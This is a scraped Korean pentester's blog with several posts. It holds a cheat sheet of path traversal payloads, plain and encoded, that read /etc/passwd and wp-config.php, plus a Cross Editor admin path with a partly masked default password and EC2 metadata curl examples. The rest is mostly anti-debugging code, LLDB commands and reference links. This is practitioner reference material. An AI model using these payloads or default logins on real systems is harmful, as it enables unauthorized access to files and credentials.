PC용 Epub 뷰어

경로 및 정보 2021. 10. 26. 10:33

https://with.1bo.pe.kr/29

 

PC용 EPUB 뷰어

EPUB는 전자책 포맷입니다. 특징은 가변폭이라 화면의 가로 사이즈가 줄면 그에 맞게 문단의 가로폭도 줄어들어 가로 스크롤을 할 필요가 없습니다. 또한 글꼴이나 글자 크기도 조절할 수 있어

with.1bo.pe.kr

 

EPUB는 전자책 포맷입니다. 특징은 가변폭이라 화면의 가로 사이즈가 줄면 그에 맞게 문단의 가로폭도 줄어들어 가로 스크롤을 할 필요가 없습니다. 또한 글꼴이나 글자 크기도 조절할 수 있어 자신에게 맞는 모양으로 글을 읽을 수 있습니다. EPUB 형식으로 제작된 전자책은 EPUB 뷰어(EPUB 리더)로 읽을 수 있습니다. 보통 전자책 판매회사에서 전용 리더를 제공하는데, 만약 EPUB 파일 자체를 받았다면 이를 읽기 위해 리더를 설치해야합니다. PC에 설치해서 EPUB 파일을 볼 수 있는 소프트웨어 5가지를 소개해드립니다.

    Adobe Digital Edition : http://www.adobe.com/kr/products/digital-editions.html
    SumatraPDF : http://blog.kowalczyk.info/software/sumatrapdf/free-pdf-reader.html
    FBReader : http://fbreader.org/
    Sony Reader : https://ebookstore.sony.com/download/
    Calibre : http://calibre-ebook.com/

출처: https://with.1bo.pe.kr/29 [원보의 이야기]

'경로 및 정보' 카테고리의 다른 글

window search 기능 활성화  (0) 2021.12.10
shodan 과 비슷한 서비스  (0) 2021.11.05
클라우드 AWS 모의해킹 방법론 (ex. 인포섹)  (0) 2021.08.31
하이퍼바이저 개념  (0) 2021.04.06
비트코인 secp256  (0) 2021.03.27
블로그 이미지

wtdsoul

,

* 파일 다운로드 경로 우회

 

 1) 파일 다운로드 경로

  ../../../../etc/passwd
  ../../../../etc/hosts
  ../../../../winnt/win.ini
  ../../../../boot.ini
  ../../../../wp-config.php

 

 2) 인코딩

  ../../../../etc/passwd
  %2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

  ../../../../../../../../../etc/hosts
  인코딩 %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%68%6f%73%74%73
  더블 인코딩 %252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2fetc%2fhosts
 

 3) 전자정부 표준프레임워크 사용

  imageSrc.do?path=/....//....//....//....//....//....//....//....//....//....//etc/&physical=passwd

 
 4) 그 외

  passwd %70%61%73%73%77%64

  16bit 유니코드인코딩 .(%u002e), /(%u2215), \(%u2216)

  더블URL 인코딩 .(%252e), /(%252f), \(%255c)

  유닉스 ../../../../etc/passwd%0a.jpg > 개행문자(%0a)를 삽입 가능

 



https://itinformation.tistory.com/46

 

파일 다운로드 우회 정리

* 파일 다운로드 경로 우회  1) 파일 다운로드 경로 ../../../../etc/passwd ../../../../etc/hosts ../../../../winnt/win.ini ../../../../boot.ini ../../../../wp-config.php  2) 인코딩 ../../../../etc/pa..

itinformation.tistory.com

 

'' 카테고리의 다른 글

apache tomcat tree  (0) 2021.11.08
overflow error based 확인  (0) 2021.10.27
그누보드 cheditor 건  (0) 2021.10.12
cross editor default password  (0) 2021.10.10
graphql 모의해킹 수행 (진행 중)  (2) 2021.09.08
블로그 이미지

wtdsoul

,

그누보드 cheditor 건

2021. 10. 12. 03:29

https://webhack.dynu.net/?idx=20170130.001

'' 카테고리의 다른 글

overflow error based 확인  (0) 2021.10.27
파일 다운로드 우회 링크  (0) 2021.10.17
cross editor default password  (0) 2021.10.10
graphql 모의해킹 수행 (진행 중)  (2) 2021.09.08
EC2 meta data 인스턴스  (0) 2021.08.31
블로그 이미지

wtdsoul

,

cross editor default password

2021. 10. 10. 02:43

 

/crosseditor/manage/index.html

기본은 adm**/1**4

 

 

'' 카테고리의 다른 글

파일 다운로드 우회 링크  (0) 2021.10.17
그누보드 cheditor 건  (0) 2021.10.12
graphql 모의해킹 수행 (진행 중)  (2) 2021.09.08
EC2 meta data 인스턴스  (0) 2021.08.31
a-pentesters-guide-to-server-side-request-forgery-ssrf  (0) 2021.08.30
블로그 이미지

wtdsoul

,

https://imjuno.com/page/2/

 

임준오의 블로그

제 삶을 글로 씁니다

imjuno.com

 

https://www.hahwul.com/2019/06/23/graphqlmap/

 

GraphQLmap - testing graphql endpoint for pentesting & bugbounty

밤에 트윗보다보니 swissky가 툴 하나를 만들어서 배포했더군요. 심지어 GraphQL 관련 자동화도구라 바로 대충 정리해서 포스팅해봅니다. GraphQLmap 입니다. 아 swissky는 Payload All the Things을 만든.. 대단

www.hahwul.com

 

 

https://jonnung.dev/graphql/2019/08/05/python-graphql-graphene-tutorial/

 

조은우 개발 블로그

 

jonnung.dev

 

https://github.com/swisskyrepo/GraphQLmap

 

GitHub - swisskyrepo/GraphQLmap: GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.

GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. - GitHub - swisskyrepo/GraphQLmap: GraphQLmap is a scripting engine to interact with a graphql endpoint...

github.com

 

'' 카테고리의 다른 글

그누보드 cheditor 건  (0) 2021.10.12
cross editor default password  (0) 2021.10.10
EC2 meta data 인스턴스  (0) 2021.08.31
a-pentesters-guide-to-server-side-request-forgery-ssrf  (0) 2021.08.30
AWS API 호출하기 (1) – 개론편  (0) 2021.08.30
블로그 이미지

wtdsoul

,

 

클라우드 AWS 모의해킹 방법론

https://blog.naver.com/adtkorea77/222462659648

 

EQST그룹이 제안하는 ‘클라우드 모의해킹 방법론(AWS)’

ADT캡스의 보안 전문가 그룹 ‘EQST’(이큐스트)그룹에서 보안 노하우가 담긴 '클라우드 모의...

blog.naver.com

보안가이드

https://infosec.adtcaps.co.kr/newsRoom/library/libraryList.do

 

ADT캡스 인포섹

ADT캡스와 인포섹(구.SK인포섹)이 한 가족이 됩니다. 더욱 향상된 보안 서비스와 가치로 고객 여러분을 찾아가겠습니다.

infosec.adtcaps.co.kr

 

'경로 및 정보' 카테고리의 다른 글

shodan 과 비슷한 서비스  (0) 2021.11.05
PC용 Epub 뷰어  (0) 2021.10.26
하이퍼바이저 개념  (0) 2021.04.06
비트코인 secp256  (0) 2021.03.27
시스템 파일 검사 도구 (feat. adb shell 사용 불가)  (0) 2021.03.17
블로그 이미지

wtdsoul

,

 보안설정방법
해당 프로세스가 디버거에 의해 제어 받고 있는지 확인하고 탐지, 종료하는 루틴을 삽입하여 해당 프로세스를 강제 종료시켜야 함(한가지 방식 적용이 아닌 아래의 방식을 모두 적용하여 프로세스 실행 중 주기적인 검증 수행 필요)
 
<Android>
소스 구현 영역에 따라 SDK(Java)와 NDK(C, Natice)로 구현 가능함.

<참고. SDK Java 소스 구현 방안>
[구현 방안 1 : 디버그 프로세스 탐지]
static int detect_isDebuggerPresent(){
     if(Debug.isDebuggerConnected())
          return 1;
     else return 0;
}


[구현 방안 2 : 디버깅 시 브레이크 포인트가 걸리는 시간 측정]
static boolean detect_threadCpuTimeNanos () {
long start = Debug.threadCpuTimeNanos ();
for(int i = 0; i <1000000; ++i )
continue;
long stop = Debug.threadCpuTimeNanos();
if(stop - start < 10000000)
return false ;
else
return true ;
}


<참고. NDK C 소스 구현 방안>
구현 방안 1 : 디버그 프로세스 탐지]
JNIEXPORT jboolean JNICALL Java_poc_c_detectdebuggerConnected (JNIEnv* env,jobject dontuse)
if(gDvm.debuggerConnected || gDvm.debuggerActive){
           return JNI_TRUE ;
     return JNI_FALSE ;
 }

[구현 방안 2 : process status 파일 확인]
#ifndef JNI_ANDROID_ANTI_DEBUG_H_
#define JNI_ANDROID_ANTI_DEBUG_H_

#include <jni.h>
#ifdef __cplusplus
extern "C" {
#endif
#ifdef __cplusplus
}
#endif

#endif /* JNI_ANDROID_ANTI_DEBUG_H_ */
#include <android/log.h>
#include <jni.h>
#include <string>
#include <sys/ptrace.h>
#include <unistd.h>
#include <stdlib.h>
#include <chrono>
#include <thread>

void be_attached_check()
{
    try
    {
        const int bufsize = 1024;
        char filename[bufsize];
        char line[bufsize];
        int pid = getpid();
        sprintf(filename, "/proc/%d/status", pid);
        FILE* fd = fopen(filename, "r");
        if (fd != nullptr)
        {
            while (fgets(line, bufsize, fd))
            {
                if (strncmp(line, "TracerPid", 9) == 0)
                {
                    int statue = atoi(&line[10]);
                    LOGD("%s", line);
                    if (statue != 0)
                    {
                        LOGD("be attached !! kill %d", pid);
                        fclose(fd);
                        int ret = kill(pid, SIGKILL);
                    }
                    break;
                }
            }
            fclose(fd);
        } else
        {
            LOGD("open %s fail...", filename);
        }
    } catch (...)
    {

    }

}
void thread_task(int n)
{
    while (true)
    {
        LOGD("start be_attached_check...");
        be_attached_check();
        std::this_thread::sleep_for(std::chrono::seconds(n));
    }
}
void anti_debug()
{
    LOGD("call anti_debug ......");
    auto checkThread = std::thread(thread_task, 1);
    checkThread.detach();
}

jint JNI_OnLoad(JavaVM* vm, void* reserved)
{
    anti_debug();
    JNIEnv* env;
    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK)
    {
        return -1;
    }
    return JNI_VERSION_1_6;
}

[구현 방안 3 : ptrace 선점을 통한 디버거process attach 방지]

#include <jni.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <pthread.h>

static int child_pid;
void * monitor_pid(void *pVoid) {
    int status;
    waitpid(child_pid, &status, 0);
    /* Child status should never change. */
    _exit(0); // Commit seppuku
}

void anti_debug() {
    child_pid = fork();
    if (child_pid == 0)
    {
        int ppid = getppid();
        int status;
        if (ptrace(PTRACE_ATTACH, ppid, NULL, NULL) == 0)
        {
            waitpid(ppid, &status, 0);
            ptrace(PTRACE_CONT, ppid, NULL, NULL);
            while (waitpid(ppid, &status, 0)) {
                if (WIFSTOPPED(status)) {
                    ptrace(PTRACE_CONT, ppid, NULL, NULL);
                } else {
                    // Process has exited
                    _exit(0);
                }
            }
        }

    } else {
        pthread_t t;
        /* Start the monitoring thread */
        pthread_create(&t, NULL, monitor_pid, (void *)NULL);
    }
}

JNIEXPORT void JNICALL
Java_sg_vantagepoint_antidebug_MainActivity_antidebug(JNIEnv *env, jobject instance) {
    anti_debug();
}

<iOS>
아래는 프로그램이 디버거로 제어를 받고 있는지 탐지, 종료하는 예제코드임.

<참고. 구현 방안>
[구현 방안 1]
//  main.m
//  ProtectionSample
#import <Cocoa/Cocoa.h>
#include <sys/ptrace.h>

int main(int argc, char *argv[])
{
    //Build settings -> Other C Flags: -DDEBUG
#ifdef DEBUG
    //do nothing
#else
    ptrace(PT_DENY_ATTACH, 0, 0, 0);
#endif
    return NSApplicationMain(argc,  (const char **) argv);

[구현 방안 2]
#import <dlfcn.h>
#import <sys/types.h>

typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);
#if !defined(PT_DENY_ATTACH)
#define PT_DENY_ATTACH 31
#endif  // !defined(PT_DENY_ATTACH)
void disable_gdb() {
void* handle = dlopen(0, RTLD_GLOBAL | RTLD_NOW);
ptrace_ptr_t ptrace_ptr = dlsym(handle, "ptrace");
ptrace_ptr(PT_DENY_ATTACH, 0, 0, 0);
dlclose(handle);
}

[방안 3 : 파일 변경 확인 또는 디버거에 의한 실행 확인 방법]
NSString* bundlePath = [[NSBundle mainBundle] bundlePath];
NSString* path = [NSString stringWithFormat:@"%@/Info.plist", bundlePath];
NSString* path2 = [NSString stringWithFormat:@"%@/AppName", bundlePath];
NSDate* infoModifiedDate = [[[NSFileManager defaultManager] fileAttributesAtPath:path traverseLink:YES] fileModificationDate];
NSDate* infoModifiedDate2 = [[[NSFileManager defaultManager] fileAttributesAtPath:path2 traverseLink:YES] fileModificationDate];
NSDate* pkgInfoModifiedDate = [[[NSFileManager defaultManager] fileAttributesAtPath:[[[NSBundle mainBundle] resourcePath] 
stringByAppendingPathComponent:@"PkgInfo"] traverseLink:YES] fileModificationDate];
if([infoModifiedDate timeIntervalSinceReferenceDate] > [pkgInfoModifiedDate timeIntervalSinceReferenceDate]) {  
//파일 변경
}
if([infoModifiedDate2 timeIntervalSinceReferenceDate] > [pkgInfoModifiedDate timeIntervalSinceReferenceDate]) { 
//파일변경
}

'모바일' 카테고리의 다른 글

android jadx tool  (0) 2021.12.11
dex2jar 에러 경로 참고  (0) 2021.12.11
LLDB 디버깅 명령어 건  (0) 2021.08.31
딥링크란??  (0) 2021.08.03
3utools GPS 변경 건  (0) 2021.07.02
블로그 이미지

wtdsoul

,

EC2 meta data 인스턴스

2021. 8. 31. 16:47

https://novemberde.github.io/aws/2017/11/06/Instance_metadata.html

 

Khbyun's blog

Novemberde's dev

novemberde.github.io

 

Summary


Amazon EC2의 설정을 자동으로 하기 위해선 인스턴스의 정보를 받아와서 설정할 수 있어야 한다.

예를 들어 특정 태그로 묶인 그룹에게 재가동시 소스코드 갱신과 서버 재가동의 명령어를 init.d에 등록했을 때 인스턴스 정보를 얻어온다면 개별적으로 인스턴스의 역할에 맞는 work load를 할당할 수 있을 것이다.


meta-data 확인하기


Metadata에 대해서 찾아보니 위키백과에 아래와 같이 쓰여 있었다.

  • 메타데이터(metadata)는 데이터(data)에 대한 데이터이다. 이렇게 흔히들 간단히 정의하지만 엄격하게는, Karen Coyle에 의하면 “어떤 목적을 가지고 만들어진 데이터 (Constructed data with a purpose)”라고도 정의한다. 가령 도서관에서 사용하는 서지기술용으로 만든 것이 그 대표적인 예이다. 지금은 온톨로지의 등장과 함께 기계가 읽고 이해할 수 있는 (Machine Actionable)한 형태의 메타데이터가 많이 사용되고 있다.

이 뜻을 인스턴스에 대입해보면, 인스턴스에 대한 데이터라고 생각해볼 수 있다.

여기에는 인스턴스가 가지고 있는 intance-id값과 같이 인스턴스의 특성을 알 수 있는 값들이 있을 것이다.

아래와 같이 예제를 통해 인스턴스의 Meta-data를 받아 본다.

169.254.169.254 라는 IP는 인스턴스의 정보를 받아 볼 수 있는 IP이다. 이 IP를 통해 정보를 받는다.

$ curl http://169.254.169.254/latest/meta-data/ ami-id ami-launch-index ami-manifest-path block-device-mapping/ hostname instance-action instance-id instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/ # 인스턴스의 ami id $ curl http://169.254.169.254/latest/meta-data/ami-id ami-ccccccccc # 인스턴스의 Security group $ curl http://169.254.169.254/latest/meta-data/security-groups my-security-group1 my-security-group2 # 인스턴스의 Role 정보 $ curl http://169.254.169.254/latest/meta-data/iam/info { "Code" : "Success", "LastUpdated" : "2017-11-05T13:34:37Z", "InstanceProfileArn" : "arn:aws:iam::111111111:instance-profile/my-instance-role", "InstanceProfileId" : "AAAAAAAAAAAAAA" }


고찰


지금까지 인스턴스의 정보를 받아보았다. 169.254.169.254에 get 요청을 하면 받는 인스턴스 정보를 특정하여 받아볼 수 있는데, 이는 활용하는 사람에 따라 다양하게 적용할 수 있을 것이다.

먼저 Security Group의 정보를 받을 경우에는 인스턴스가 가동할 때 원하는 Security-Group이 할당여부를 확인할 수 있을 것이다. 또한 Role 을 받아오면 인스턴스의 역할을 명확히 알 수 있기 때문에, 인스턴스의 소스코드를 갱신하여 인스턴스가 재시작 될 때마다 동작해야 할 명령어들을 구분지을 수 있다.

다른 활용 방법을 간단하게 구상해보자. 특정 S3에는 스크립트 파일들을 모아두고 role과 파일명을 일치해둔다. 그리고 AMI를 만드는데 내용은 다음과 같다. 가동될 때 meta-data로 role정보를 받아오면 role과 일치하는 S3버킷의 파일을 받아와 shell 또는 python 등 자신이 자신있는 script로 실행한다. script가 실행되면 각 인스턴스의 역할에 맞는 서버가 가동된다.

이런 식으로 설정을 한다면 Scaling Group이 Scale out이 될 때 큰 걱정없이 배포용 코드로 서버들이 가동될 수 있을 것이다.

 

 

'' 카테고리의 다른 글

cross editor default password  (0) 2021.10.10
graphql 모의해킹 수행 (진행 중)  (2) 2021.09.08
a-pentesters-guide-to-server-side-request-forgery-ssrf  (0) 2021.08.30
AWS API 호출하기 (1) – 개론편  (0) 2021.08.30
Oauth CSRF 대응방안  (0) 2021.08.17
블로그 이미지

wtdsoul

,

https://minsone.github.io/ios/mac/xcode-lldb-debugging-with-xcode-and-lldb

 

[Xcode][LLDB]Debugging With Xcode and LLDB

iOS 개발을 좀 더 잘하기 위해, 편하게 버그를 추적하기 위해 LLDB를 이용한 디버깅 방법을 기록합니다. Thread의 Stack, Frame Thread가 생겨날 때, 해당 Thread를 위한 Stack이 만들어지며, 해당 Stack에는 Fram

minsone.github.io

 

 

 

iOS 개발을 좀 더 잘하기 위해, 편하게 버그를 추적하기 위해 LLDB를 이용한 디버깅 방법을 기록합니다.

Thread의 Stack, Frame

Thread가 생겨날 때, 해당 Thread를 위한 Stack이 만들어지며, 해당 Stack에는 Frame이 들어갑니다.

Execution Commands

  • Continue - 정지된 프로그램 실행을 재개함.

(lldb) continue (lldb) c

  • Step Over - 현재 선택된 Frame에서 소스 수준의 한 단계를 진행.

(lldb) thread step-over (lldb) next (lldb) n

  • Step Into - 현재 선택된 Frame에서 소스 수준의 한 단계 안으로 들어감.

(lldb) thread step-in (lldb) step (lldb) s

  • Step Out - 현재 선택된 Frame에서 벗어남.

(lldb) thread step-out (lldb) finish

  • Instruction Level Step Into - 현재 선택된 Frame에서 명령어 수준의 한 단계 안으로 들어감.

(lldb) thread step-inst (lldb) si

  • Instruction Level Step Over - 현재 선택된 Frame에서 명령어 수준의 한 단계를 진행.

(lldb) thread step-inst-over (lldb) ni

Examining Variables - 변수 검사

  • Frame Variable - 메모리에서 변수를 읽어 lldb 형태의 description을 출력함.

/// 현재 frame에 argument와 local 변수 출력하기. (lldb) frame variable (lldb) fr v /// 현재 frame에 local 변수 출력하기 (lldb) frame variable --no-args (lldb) fr v -a /// local 변수 `bar` 내용 출력하기 (lldb) frame variable bar (lldb) fr v bar /// local 변수 `bar`을 hex로 내용 출력하기 (lldb) frame variable --format x bar (lldb) fr v -f x bar /// Object의 Description 출력하기 (lldb) frame variable -O self

  • Target Variable - global/static 변수를 출력함.

/// global 변수 `baz` 내용 출력하기 (lldb) target variable baz (lldb) ta v baz /// 현재 소스 파일에서 정의된 global/static 변수 출력하기 (lldb) target variable (lldb) ta v

  • Target Stop-hook / Display - 매번 멈출 때 마다 지정된 명령 실행 / 멈출 때 마다 지정한 변수 내용을 출력

/// `frame variable argc argv` stop hook을 등록하기 (lldb) target stop-hook add --one-liner "frame variable argc argv" (lldb) ta st a -o "fr v argc argv" /// 멈출 때 마다 argc, argv 내용을 출력하기 (lldb) display argc (lldb) display argv /// `main` 함수 안에서 멈추면 argc, argv 내용을 출력하기 (lldb) target stop-hook add --name main --one-liner "frame variable argc argv" (lldb) ta st a -n main -o "fr v argc argv" /// C 클래스 이름인 MyClass 안에서 멈추면 *this 변수 내용을 출력하기 (lldb) target stop-hook add --classname MyClass --one-liner "frame variable *this" (lldb) ta st a -c MyClass -o "fr v *this" /// Multiple Line Hook (lldb) target stop-hook add > bt > disassemble --pc > DONE

Examining Thread State - 스레드 상태 검사

  • Thread List/Change - 현재 스레드 목록을 보여줌 / 다른 스레드로 이동하기

/// 현재 스레드 목록을 보여주기 (lldb) thread list /// Thread 2로 이동하기 (lldb) thread select 2

  • Thread Until/Jump/Return - 특정 줄 전까지 실행 후 멈춤 / 특정 주소/줄로 이동 / 현재 stack frame에서 특정 값을 반환(note: Swift에서는 거의 안됨)

/// 특정 줄까지 step over 수행함.(ex: 현재 줄이 10줄이고, 20 이전 까지 step over를 수행함.) (lldb) thread until 20 // 19줄까지 step over, 20줄에서 멈춤 /// 특정 frame의 특정 소스 줄까지 수행함.(frame 2에서 10번째 까지 수행) (lldb) thread until --frame 2 10 /// 명령어 수준의 특정 주소까지 수행함 (lldb) disassemble --frame (lldb) thread until --address 0x1023653a0 /// 특정 소스라인까지 이동함. (lldb) thread jump --line 10 // 10번째 줄으로 이동 (lldb) thread jump --by 5 // 현재 줄에서 +5번째 줄로 이동 (lldb) thread jump --by -5 // 현재 줄에서 -5번째 줄로 이동 /// 현재 frame에서 Void를 반환하거나 특정 값을 반환 (lldb) thread return (lldb) thread return 0 (lldb) thread return "aa" // Only Objc error: Error returning from frame 0 of thread 1: We only support setting simple integer and float return types at present..

  • Disassemble

/// 현재 frame의 현재 함수를 disassemble하여 보여줌. (lldb) disassemble --frame (lldb) di -f /// main 이라는 함수를 disassemble하여 보여줌. (lldb) disassemble --name main (lldb) di -n main /// 지정된 주소범위의 명령어 코드를 출력함. (lldb) disassemble --start-address 0x1eb8 --end-address 0x1ec3 (lldb) di -s 0x1eb8 -e 0x1ec3 /// 시작 주소부터 20개의 명령어를 출력함. (lldb) disassemble --start-address 0x1eb8 --count 20 (lldb) di -s 0x1eb8 -c 20 /// 현재 frame의 코드에 해당하는 명령어를 코드와 같이 출력함. (lldb) disassemble --frame --mixed (lldb) di -f -m /// 현재 frame에 현재 소스 코드 라인을 disassemble하여 보여줌. (lldb) disassemble --line (lldb) di -l

  • Backtrace - 스레드의 stack backtrace를 보여줌.

/// 현재 스레드의 stack backtrace를 보여주기 (lldb) thread backtrace (lldb) bt /// 모든 스레드의 stack backtrace를 보여주기 (lldb) thread backtrace all (lldb) bt all /// 현재 스레드의 frame에서 1~5번 backtrace를 보여주기 (lldb) thread backtrace -c 5 (lldb) bt 5 /// 현재 스레드에서 특정 stack frame index를 선택하기 (lldb) frame select 12 (lldb) fr s 12 (lldb) f 12 /// 현재 스레드에서 현재 선택된 frame의 정보 출력하기 (lldb) frame info (lldb) fr info /// 현재 선택된 stack frame에서 아래로 이동 (lldb) up (lldb) up 3 (lldb) down (lldb) down 5

Evaluating Expression - 표현식 계산하기

  • 현재 frame에서 표현식 계산하기

(lldb) expression print(1 + 2) (lldb) expr print(1 + 2) (lldb) e print(1 + 2) (lldb) expression -- print(1 + 2) (lldb) print print(1 + 2) (lldb) p print(1 + 2)

  • LLDB에서 변수를 선언하기

(lldb) expr var $foo = 10 (lldb) expr print($foo) // Output: 10 (lldb) expr $foo += 1 (lldb) expr print($foo) // Output: 11

  • Objc 객체의 description 보여주기

(lldb) expr --object-description -- object (lldb) expr -o -- object (lldb) po object

  • 특정 메모리 주소의 값을 출력하기

/// Swift (lldb) expr -l swift -- import UIKit (lldb) expr -l swift -- let $vc = unsafeBitCast(0x7fe75a70bb40, to: ViewController.self) (lldb) po $vc /// Objc (lldb) expr -l objc -- @import UIKit (lldb) expr -l objc -- ViewController *$vc = (ViewController *)0x7fe75a70bb40 (lldb) po $vc /// 실행 중에 Pause를 한 후, 특정 메모리 주소의 값을 확인하는 경우 (lldb) expr -l Swift -- Enter expressions, then terminate with an empty line to evaluate: 1 let $vc = unsafeBitCast(0x7fe75a70bb40, to: ViewController.self) 2 print($vc) 3 /// 위 명령들을 축약 (lldb) expr import UIKit (lldb) p import UIKit (lldb) expr let $vc = unsafeBitCast(0x7fe75a70bb40, to: ViewController.self) (lldb) po $vc <SomeProject.ViewController: 0x7fe75a70bb40>

  • 임의의 UIViewController 생성하여 NavigationViewController에 Push하기

(lldb) expr var $vc = UIViewController() (lldb) expr $vc.view.backgroundColor = UIColor.red (lldb) expr self.navigationController?.pushViewController($vc, animated: true)

  • Printing Modes
    • frame variable (fr v) - Code를 실행하지 않으며, LLDB formatter를 사용
    • expression -- (p) - Code를 실행하며, LLDB formatter를 사용
    • expression -O -- (po) - Code를 실행하며, debugDescription와 같이 개발자가 만든 출력 형태를 사용
  • BreakPoint 설정된 코드를 실행시 Pause되도록 하기

(lldb) expr --ignore-breakpoints false -- <Expression>

  • 메소드 및 클래스 선언하기

특정한 메소드 및 클래스를 만들어 사용할 수 있습니다.

(lldb) po Enter expressions, then terminate with an empty line to evaluate: 1 class $A { 2 var $b = 0 3 } 4 (lldb) po $A() <$A: 0x600001bc87e0> (lldb) po $A().$b 0

또한, Extension에 함수를 만들어 사용할 수 있습니다.

(lldb) po Enter expressions, then terminate with an empty line to evaluate: 1 extension ViewController { 2 func $changeBgColor() { 3 self.view.backgroundColor = .red 4 } 5 } 6 (lldb) po self.$changeBgColor()

BreakPoint - BreakPoint 설정하기

/// viewDidLoad 이름인 모든 함수에 breakpoint를 설정하기 - Swift (lldb) breakpoint set --name viewDidLoad (lldb) br s -n viewDidLoad (lldb) b viewDidLoad /// viewDidLoad 이름인 모든 함수에 breakpoint를 설정하기 - Objc (lldb) breakpoint set --name "-[UIViewController viewDidLoad]" /// 특정 파일 특정 줄에 breakpoint 설정하기 (lldb) breakpoint set --file test.c --line 12 (lldb) br s -f test.c -l 12 (lldb) b test.c:12 /// 현재 파일의 특정 줄에 breakpoint 설정하기 (lldb) breakpoint set --line 12 (lldb) br s -l 12 (lldb) b 12 /// 특정 이름을 가진 Select에 breakpoint 설정하기 (lldb) breakpoint set --selector dealloc /// breakpoint에 global이 5이면 중단되도록 조건 설정 (lldb) b 12 (lldb) breakpoint modify -c "global == 5" /// breakpoint 목록 보기 (lldb) breakpoint list (lldb) br l /// breakpoint 지우기 (lldb) breakpoint delete 1 (lldb) br del 1

Watchpoint - 변수에 값이 기록될 때마다 중단되도록 설정

/// 전역 변수에 watchpoint 설정 (lldb) watchpoint set variable global_var (lldb) wa s v global_var /// 메모리 주소에 watchpoint 설정 (lldb) watchpoint set expression -- my_ptr (lldb) wa s e -- my_ptr /// watchpoint에 global이 5이면 중단되도록 조건 설정 (lldb) watch set var global (lldb) watchpoint modify -c "global == 5" /// watchpoint 목록 보기 (lldb) watchpoint list (lldb) watch l /// watchpoint 지우기 (lldb) watchpoint delete 1 (lldb) watch del 1

Script - Python REPL

  • Python을 LLDB Script로 사용할 수 있음.

(lldb) script print 1 + 2 // Output: 3 (lldb) script import os (lldb) script print os.getcwd()

  • import - 필요한 script 소스를 import하여 사용함.

(lldb) command script import ~/myCommands.py

또는 /.lldbinit 파일 내에 command script import ~/myCommands.py 를 추가함.

기타

/// 특정 키워드의 상세한 설명을 보여줌 (lldb) apropos keyword /// 기본 언어 설정을 바꿈 (lldb) settings set target.language swift /// Alias 설정 (lldb) command alias es expression -l swift --

LLDB 확장 툴

  • Chisel - python으로 대부분 작성되어 있으며, View Debugging 관련하여 손쉽게 사용할 수 있도록 도와주며, 여기에서 많은 명령을 살펴볼 수 있음.
  • DerekSelander - LLDB - A collection of LLDB aliases/regexes and Python scripts to aid in your debugging sessions

참고자료

'모바일' 카테고리의 다른 글

dex2jar 에러 경로 참고  (0) 2021.12.11
모바일 원격 디버깅 대응 소스 코드  (0) 2021.08.31
딥링크란??  (0) 2021.08.03
3utools GPS 변경 건  (0) 2021.07.02
3utools connected error 건  (0) 2021.04.22
블로그 이미지

wtdsoul

,

https://cobalt.io/blog/a-pentesters-guide-to-server-side-request-forgery-ssrf

 

A Pentester’s Guide to Server Side Request Forgery (SSRF)

Gain insider tips about Server Side Request Forgery (SSRF) with the Pentester’s Guide to SSRF, written by cybersecurity expert Busra Demir from Cobalt.

cobalt.io

 

 

 

'' 카테고리의 다른 글

graphql 모의해킹 수행 (진행 중)  (2) 2021.09.08
EC2 meta data 인스턴스  (0) 2021.08.31
AWS API 호출하기 (1) – 개론편  (0) 2021.08.30
Oauth CSRF 대응방안  (0) 2021.08.17
Line Notify  (0) 2021.08.16
블로그 이미지

wtdsoul

,